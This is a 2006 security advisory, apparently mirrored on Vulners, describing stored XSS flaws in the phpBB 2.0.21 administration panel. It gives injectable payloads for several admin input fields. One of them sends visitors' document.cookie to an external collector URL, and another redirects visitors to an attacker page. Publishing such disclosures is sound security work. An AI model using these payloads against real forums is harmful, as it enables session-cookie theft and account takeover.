Search...

XSS phpBB 2.0.21 in administration

2006-07-24T00:00:00
ID SECURITYVULNS:DOC:13542
Type securityvulns
Reporter Securityvulns
Modified 2006-07-24T00:00:00

Description

phpBB 2.0.21 XSS in administration

//-- By Blwood [renatrix@gmail.com] //-- [ http://www.blwood.net ] //--

Style Admin

Management & Create a theme

Lots of input are not properly "filtrate" like style_name, head_stylesheet, body_background, tr_color1_name (all the input in simple name)...

We cand ofcourse inject html in this way : "><h1>Owned by Blwood :P</h1> but it's more interresting to inject javascript :) : "><body onload="alert('Owned by Blwood')"> => style_name "><script>alert('Owned by Blwood')</script> => head_stylesheet, body_background, ... When an admin will go in Style Administration he will be Owned. (inject in style_name) When an admin will edit a them he will be Owned.

Group Administration

Management

Input group_description is not correctly "filtrated" we can inject js like this : "><script>alert('Owned by Blwood')</script> or </textare>"><script>alert('Owned by Blwood')</script> When an admin will go in Group administration he'll be owned. But what's more, the groups can be seen in groupcp.php by every visitors. An exploit could be : </textarea>"><script>document.location='http://127.0.0.1/cookie.php?'+document.cookie</script> or </textarea>"><script>document.location='http://site.com/ownedpage.html'</script>

Ranks

Rank Administration

Rank Title (input title) is not correctly filtrated, we can inject js like : "><script>alert('xss')</script> But what's interresting, if you give this rank to an user, the rank will appear in user's topics and the code will be executed when someone sees a topic :) Now you can inject what you want but maximum 40 caracters...

Smilies

Smiles Editing Utility

Smiley Code : "><body onload="alert('Owned by Blwood')">

Configuration

General Configuartion

Inputs are not correctyle filtrated : Ex : allow_html_tags => "><script>alert('Owned by Blwood')</script>

[ Video ]

http://www.blwood.net/advisory/phpbb2021xssadmin.rar

JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by